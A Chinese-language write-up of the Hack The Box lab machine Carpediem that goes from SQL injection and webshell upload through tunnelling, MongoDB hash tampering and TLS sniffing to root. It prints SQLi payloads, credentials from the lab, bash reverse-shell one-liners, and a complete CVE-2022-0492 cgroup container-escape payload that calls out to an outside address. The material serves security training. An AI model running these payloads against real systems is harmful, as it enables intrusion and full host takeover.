Carpediem Writeup

概述 (Overview)

500

HOST: 10.10.11.167

OS: LINUX

发布时间: 2022-06-25

完成时间: 2022-07-11

机器作者: ctrlzero &  && TheCyberGeek

困难程度: HARD

机器状态: 退休

MACHINE TAGS: #Fuzzing #SQLi #Tunnel #DockerAbuse #MongoDB #Capabilities

攻击链 (Kiillchain)

HTB 关于 Carpediem

Carpediem 是一个 HARD 难度 Linux 机器,专注于枚举、网络开发、VoIP、网络嗅探和容器突破。最初的立足点是通过滥用定制网络应用程序中一些仍在开发中的功能,访问管理仪表板,通过修改 POST 请求上传 WebShell,从而在 Docker 容器内执行任意代码。枚举 Trudesk 票据可获得 VoIP 凭据,进而通过监听语音邮件信息获取用户密码,从而以低权限的 SSH 访问系统。嗅探 TLS 加密流量会显示访问 Backdrop CMS 内部实例的凭据,通过上传自定义模块可在第二个容器上执行远程命令。利用以 root 权限只执行的cron任务,可提升容器內的权限,最后通过利用 CVE-2022-0492 逃逸容器,取得主机的 root 权限。

枚举(Enumeration)

老样子,初始条件下使用 Nmap 对目标服务器开放端口进行扫描。

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA) | 256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA) |_ 256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Comming Soon | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

得到的信息有限仅对外暴漏了两个端口。

Port 80 - carpediem.htb

使用浏览器访问服务器的 80 端口,在首页中能够得到一个一级域名 carpediem.htb

500

简单预览下没有其他的收获,转而使用 gobuster 工具枚举了一下二级域名,发现存在一个叫 portal.carpediem.htb 的站点。

image

Port 80 - portal.carpediem.htb

预览该站功能发现能够创建新用户,随手注册一个进行登录。

600

登录后在网站源代码中能够找到 */admin/* 路径,但当进行访问时会提示无权限。

700

500

立足点(Foothold)

留意参数提交请求,在修改账号功能中发现一个 login_type 参数前端隐藏了,推测该参数可能是用来区分是否为管理员登录类型用的。

700

通过 Burp 重放请求将参数替换为 login_type=1 ,获得新会话后发现够顺利进入控制台面板。检查菜单中的功能发现存在一个 SQL 注入。

600

利用点在用户详情预览:

http://portal.carpediem.htb/admin/bookings/view_booking.php?view=user&id=10

600

600

简单测试后确认 SQL 语句的回显内容,通过利用 order by 语句判断 SQL 查询字段整体长度后,构建连接查询语句就能获取到预期结果。

http://portal.carpediem.htb/admin/bookings/view_booking.php?view=user&id=10' order by 14--+- http://portal.carpediem.htb/admin/bookings/view_booking.php?view=user&id=' union select 1,2,3,4,5,6,7,8,9,10,11,12,(select @@version),14 --+-

800

利用 SQL 注入就能成功获取 someone 帐号的密码哈希值,放 cmd5 上查询到明文密码就是 password

id,avatar,gender,address,contact,lastname,password,username,firstname,date_added,last_login,login_type,date_updated 1,uploads/1635793020_HONDA_XADV.png,Male,<blank>,jhammond@carpediem.htb,1,admin,<blank>,Jeremy,2021-01-20 14:02:37,Hammond,b723e511b084ab84b44235d82da572f3,2022-04-01 23:34:50 someone,someone,25,x,2022-07-08 21:43:39,5f4dcc3b5aa765d61d8327deb882cf99 (password),<blank>,<blank>,Male,2022-07-08 21:44:11,1,someone,someone 2,test,test,test,2022-07-09 18:05:07,test,<blank>,<blank>,26,test,098f6bcd4621d373cade4e832627b4f6 (test),<blank>,Male

使用 admin 帐号进行登录后页面会强制跳转,在 burp 中看页面源代码是发现是存在 location.href 函数导致浏览器跳转了。写一条 burp 的 replace rule 规则,将其替换掉就可以了。

600

600

在用户中心中发现存在图片上传,经过多次错误反馈进行调整,成功上传 webshell:

700

700

700

700

利用该脚本进行命令执行,成功获得一个反弹 shell 拿到初步立足点。

700

横向移动(Lateral Movement)

看了一眼根目录文件, /.dockerenv 存在说明当前在shell处于容器中。查看IP段信息容器段为 172.17.0.1/24,将隧道工具 chisel 传递至容器内运行连接 kali,随后进行内网端口扫描。

700

配置好 proxychains 后使用 Nmap 扫描内网段得到多台存活主机及端口;

$ proxychains4 nmap -p- -sT -sV --top-ports 100 -Pn --min-rate 2000 -v 172.17.0.1-10 Nmap scan report for 172.17.0.1 Host is up (0.22s latency). Not shown: 98 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 172.17.0.3 Host is up (0.22s latency). Not shown: 99 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 8.0.27 Nmap scan report for 172.17.0.4 Host is up (0.22s latency). Not shown: 97 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.48 ((Ubuntu)) 443/tcp open ssl/http Apache httpd 2.4.48 ((Ubuntu)) Service Info: OS: Unix Nmap scan report for 172.17.0.6 Host is up (0.22s latency). Not shown: 99 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 Service Info: Host: 172.17.0.6

在 172.17.0.4 上运行着一个 Web 服务,访问它得到一个新的域名 backdrop.carpediem.htb,在页面中也能知道应用使用的 CM 系统叫 Backdrop CMS

700

顺着思路首先去寻找该应用的历史漏洞,发现存在一个 CSRF 到 RCE 的组合漏洞 CVE-2021-45268,但是折腾了很久找不利用点就放弃了。最后在 portal.carpediem.htb 的项目代码中发现了新子域名 trudesk.carpediem.htb

image

通过站点信息进行搜索发现使用的是一个叫 trudesk 的 Web 系统,看下来就是一个在线聊天的应用。对于该应用的 API 的请求操作可以通过它的在线文档来进行了解。

https://docs.trudesk.io/v1/api/#Authentication

800

在文档中可以获知到它使用的是 MongoDB 做为数据库,在代理中用 nmap 进行扫描得不到返回结果,只好挨个手动试试。

800

600

使用 proxychains mongo 172.17.0.2 命令连接 MongoDB 发现成功,不存在访问认证。挨个检查数据内的内容,在 accounts 库中能够找到很多内容其中包含密码 hash。

> db.accounts.find('',{password:1,username:1}) { "_id" : ObjectId("6243c0be1e0d4d001b0740d4"), "username" : "jhammond", "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq" } { "_id" : ObjectId("6243c28f1e0d4d001b0740d6"), "username" : "jpardella", "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK" } { "_id" : ObjectId("6243c3471e0d4d001b0740d7"), "username" : "acooke", "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s." } { "_id" : ObjectId("6243c69d1acd1559cdb4019b"), "username" : "svc-portal-tickets", "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW" }

在 tickets 库中能找到很多记录详情,留意到其中有提到语音信箱,手机 pin code2022,语言信箱登录名是 9650

900

尝试碰撞 bcrypt hash 还原明文密码失败,改为直接修改指定用户的 bcrypt hash。使用 https://bcrypt-generator.com/ 进行自定义密码 hash 在线生成。

900

$2a$10$lw3Dyou/fEBAk6aSSN/6a.PrQsrGxXunlHsyY3c7IvOy2j8IAJ3nS:123456 db.getCollection("accounts").update({_id: ObjectId("6243c28f1e0d4d001b0740d6")},{$set :{"password":"$2a$10$lw3Dyou/fEBAk6aSSN/6a.PrQsrGxXunlHsyY3c7IvOy2j8IAJ3nS"}});

登录 trudesk 系统后能在里面发现一条新消息,关于新员工入职:

600

谢谢!他已经准备就绪,随时可以出发。当他第一天到办公室时,让他先登录自己的手机。然后给他留个语音信箱,告诉他服务器访问的初始密码。进入服务器。他的手机密码是 2022,要进入语音信箱他可以拨打 *62 另外......让他知道,如果他想使用桌面软电话,我们已经对一些最终用户进行了 Zoiper 测试。将此单据的状态更改为待处理,直到他完成设置并更改初始凭证并更改他的初始凭证。

所以要得到服务器密码需要用 Zoiper 进行拨号,因为我的 kali 是 arm64 所以安装不了,转到 Macos 上去使用客户端。

600

创建一个免费的帐号并使用 SIP 凭证登录方式连接 carpediem.htb 服务器。

700

随后进行语言拨号 *62

500

中途会提示让输入 PIN Code

500

因为本人英语比较渣听力不行,直接采用场外求助的方式。在网上找到可以使用 Wireshark 抓取该软件的语音信息。

700

它这里用的是 RTP 协议播放的语音文件,抓取后进行导出就能播放。

300

600

求助场外支援:

300

hflaccus:AuRj4pxq9qPk $ sshpass -p 'AuRj4pxq9qPk' ssh hflaccus@10.10.11.167

使用改组帐号密码成功登录目标服务器。

600

首先检查可登录用户,发现有多个:

hflaccus@carpediem:~$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash hflaccus:x:1000:1000:Quintus Horatius Flaccus:/home/hflaccus:/bin/bash rfrost:x:1002:1002:Robert Frost:/home/rfrost:/bin/bash jhammond:x:1003:1003:Jeremy Hammond:/home/jhammond:/bin/bash jpardella:x:1004:1004:Joey Pardella:/home/jpardella:/bin/bash

将 linpeas 上传至目标服务器上运行进行深度的信息收集,发现 tcpdump 是可以被使用的。

600

600

可以在 /etc/ssl/certs 目录中找到一个凭证,这意味我们可以嗅探抓取下一 backdrop.carpediem.htb 的流量包,然后从中分析出后续利用的信息。

500

运行 tcpdump 一段时间后,将保存的 .pcap 包下载至本地进行分析。此时能看到容器和物理机之间有加密通信。

900

将之前的私钥载入至 wireshark 成功解密流量内容:

700

900

POST /?q=user/login HTTP/1.1 Host: backdrop.carpediem.htb:8002 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Origin: https://backdrop.carpediem.htb:8002 Content-Type: application/x-www-form-urlencoded Referer: https://backdrop.carpediem.htb:8002/?q=user/login Accept-Language: en-US,en;q=0.9 Content-Length: 128 name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in

使用前面的隧道工具,将 backdrop 站的端口转发至本地,浏览器登录后成功进入系统控制面板。

600

Backdrop CMS 当前的版本是 1.21.4 ,这里可以用到前面提到的那个 CVE-2021-45268,通过查看 github 上的 payload 部分找到上传插件的功能进行操作,成功上传 webshell。

700
600

权限提升(Privilege Escalation)

运行 ps 指令查看进程,发现 root 存在一个 heartbeat.sh 的脚本在运行。

image

脚本先验证了 backdrop.sh 文件的 md5hash 如果一致则会执行它,backdrop.sh 文件内容可以在 github 找到。内容实际是一个 php 脚本,主要的用途是获取远程路径内容并 execute 。我们可以利用这点替换路径中的 index.php 写一段反弹 shell ,就能提权至 root 了。

# 准备脚本内容 nohup bash -c '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' > /dev/null 2>&1 & cd /var/www/html/backdrop/ && rm index.php && wget <IP>/shell.php && mv shell.php index.php

800

成功获得了这台容器的 root 权限,接着就是找找看有没逃逸至物理机的路径了。将容器逃逸检查脚本 deepce.sh 传递至容器中执行:

800

注意到 Capabilities 中有个 cap_sys_admin,顺着这个找发现容器存在 CVE-2022-0492 漏洞。顺着再去找 POC 能得到这篇文章:

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

利用文中的 payload 成功完成容器逃逸,获得物理机 root shell 。

(remote) root@90c7f522b842:/tmp# unshare -UrmC bash root@90c7f522b842:/tmp# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "nohup bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/9090 0>&1' > /dev/null 2>&1 & > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

800

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。